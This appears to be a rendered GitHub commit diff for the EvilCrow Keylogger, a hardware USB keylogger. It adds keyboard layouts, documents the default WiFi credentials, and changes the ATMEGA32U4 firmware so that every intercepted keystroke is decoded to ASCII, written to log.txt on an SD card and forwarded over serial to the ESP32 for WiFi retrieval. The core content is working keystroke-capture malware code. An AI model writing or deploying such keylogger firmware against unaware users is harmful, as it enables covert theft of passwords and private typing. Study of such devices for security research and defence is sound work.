🤬
  • ■ ■ ■ ■ ■ ■
    README.md
    skipped 38 lines
    39 39  * USB Host MAX3421
    40 40  * Hall sensor for unbrick device
    41 41   
    42  -**NOTE:** Some keys or modifiers have not been implemented, this is a PoC. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno
     42 +**NOTE:** Some keys or modifiers have not been implemented. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno
    43 43   
    44 44  **Layouts:**
    45 45   
    46 46  * BE_BE layout support.
     47 +* CZ_CZ layout support.
     48 +* DA_DK layout support.
    47 49  * DE_DE layout support.
     50 +* EN_US layout support.
    48 51  * ES_ES layout support.
    49  -* EN_US layout support.
    50 52  * FI_FI layout support.
    51 53  * FR_FR layout support.
    52 54  * IT_IT layout support.
    53 55  * PT_PT layout support.
    54 56  * TR_TR layout support.
    55  - 
    56  -**TODO:**
    57  - 
    58  -* MORE LAYOUTS
    59  -* MORE KEYS
    60  -* TEST ALL LAYOUTS
    61 57   
    62 58  **NOTE:** Please do not ask me to implement new functions in this code. You can develop code for Evil Crow Keylogger and send me PR with your new code.
    63 59   
    skipped 21 lines
    85 81   
    86 82  **NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work.
    87 83   
     84 +## Layout support
     85 + 
     86 +Evil Crow Keylogger supports several layouts, the en_us layout is by default.
     87 + 
     88 +Set up a new layout:
     89 + 
     90 +* 0.- Open Keyboard/src/Keyboard.h with a text editor
     91 + 
     92 +* 1.- Change #define kbd_en_us to another layout. Example: #define kbd_es_es
     93 + 
     94 +You can use:
     95 +- kbd_be_be
     96 +- kbd_cz_cz
     97 +- kbd_da_dk
     98 +- kbd_de_de
     99 +- kbd_en_us
     100 +- kbd_es_es
     101 +- kbd_fi_fi
     102 +- kbd_fr_fr
     103 +- kbd_it_it
     104 +- kbd_pt_pt
     105 +- kbd_tr_tr
     106 + 
     107 +* 2.- Save and close Keyboard.h
     108 + 
    88 109  ## Upload the ESP32 code
    89 110   
    90 111  To upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother.
    skipped 43 lines
    134 155   
    135 156  * 2.- Open a notepad and type Hello World with the keyboard connected to the keylogger
    136 157   
    137  -* 3.- Visualize the wifi networks around you and connect to the Keylogger network.
     158 +* 3.- Visualize the wifi networks around you and connect to the Keylogger (default SSID: Keylogger).
    138 159   
    139 160  * 4.- Enter the password for the wifi network (default password: 123456789).
    140 161   
    skipped 5 lines
    146 167   
    147 168  # Use the Micro SD Slot
    148 169   
    149  -Evil Crow Keylogger has a slot to use an SD card, but this is not implemented in this code.
    150  - 
    151  -To use the SD card you will have to program the necessary code for this.
    152  - 
    153  -To test the SD slot... you can use some basic example of SD included in the Arduino IDE.
     170 +Evil Crow Keylogger also stores the log on the Micro SD card.
    154 171   
    155  -You will only have to change the default CS pin to D5. This is the example:
    156  - 
    157  -![SD](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sd.png)
     172 +**File:** log.txt
    158 173   
    159 174  # Unbrick Evil Crow Keylogger with Hall Sensor
    160 175   
    skipped 14 lines
  • ■ ■ ■ ■ ■ ■
    code/ATMEGA32U4/ATMEGA32U4.ino
    1 1  #include <Keyboard.h>
    2 2  #include <hidboot.h>
    3 3  #include <usbhub.h>
    4  -#include <EEPROM.h>
    5  - 
    6  -// Satisfy the IDE, which needs to see the include statment in the ino too.
    7  -#ifdef dobogusinclude
    8  -#include <spi4teensy3.h>
    9  -#endif
     4 +#include <SD.h>
    10 5  #include <SPI.h>
    11 6   
    12 7  #define MODIFIERKEY_LEFT_CTRL (0x01)
    skipped 4 lines
    17 12  #define MODIFIERKEY_RIGHT_SHIFT (0x20)
    18 13  #define MODIFIERKEY_RIGHT_ALT (0x40)
    19 14  #define MODIFIERKEY_RIGHT_GUI (0x80)
     15 +#define SHIFT (0x80)
     16 +#define ALTGR (0x40)
     17 + 
     18 +extern const uint8_t _asciimap[256] PROGMEM;
    20 19   
    21 20  //modifiers
    22 21  int leftctrl_status=0;
    skipped 5 lines
    28 27  int rightalt_status=0;
    29 28  int rightgui_status=0;
    30 29  uint8_t modifiers=0;
     30 +uint8_t modifiersard=0;
     31 +int key_modifier;
     32 + 
     33 +File SDlog;
    31 34   
    32 35  void SetModifiers(void) {
    33 36   modifiers=0;
    skipped 5 lines
    39 42   if (rightshift_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_SHIFT);
    40 43   if (rightalt_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_ALT);
    41 44   if (rightgui_status) modifiers = (modifiers | MODIFIERKEY_RIGHT_GUI);
     45 +};
     46 + 
     47 +void SetModifiersArd(void) {
     48 + modifiersard=0;
     49 + if (leftshift_status) modifiersard = (modifiersard | SHIFT);
     50 + if (rightalt_status) modifiersard = (modifiersard | ALTGR);
    42 51  };
    43 52   
    44 53  class KbdRptParser : public KeyboardReportParser {
    skipped 8 lines
    53 62  };
    54 63   
    55 64  void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
     65 + Keyboard.rawrelease(key, 0);
     66 + SetModifiersArd();
     67 + key_modifier = key|modifiersard,HEX;
     68 + SDlog = SD.open("log.txt", FILE_WRITE);
    56 69   
    57  - SetModifiers();
    58  - Serial1.print(key);
    59  - Serial1.print(" ");
    60  - Serial1.println(modifiers);
     70 + for (int i = 0; i < 256; i++) {
     71 + if(pgm_read_byte(_asciimap + i) == key_modifier){
     72 + SDlog.write(i);
     73 + SDlog.close();
     74 + Serial1.write(i);
     75 + }
     76 + }
    61 77  }
    62 78   
    63 79  void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {
    64  - 
    65 80   SetModifiers();
    66 81   Keyboard.rawpress(key, modifiers);
    67  - Keyboard.releaseAll();
     82 + modifiers = 0;
    68 83  }
    69 84   
    70 85  void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
    skipped 37 lines
    108 123  KbdRptParser Prs;
    109 124   
    110 125  void setup() {
     126 + Serial.begin(115200);
    111 127   Serial1.begin(115200);
     128 + SD.begin(5);
    112 129  
    113 130   #if !defined(__MIPSEL__)
    114 131   while (!Serial1); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection
    skipped 11 lines
  • code/ESP32/ESP32.ino
    Diff is too large to be displayed.
  • images/sd.png
  • ■ ■ ■ ■
    libraries/Keyboard/src/Keyboard.h
    skipped 41 lines
    42 42   
    43 43   */
    44 44   
    45  -#define kbd_es_es
     45 +#define kbd_en_us
    46 46   
    47 47  #include "HID.h"
    48 48   
    skipped 80 lines
Please wait...
Page is in error, reload to recover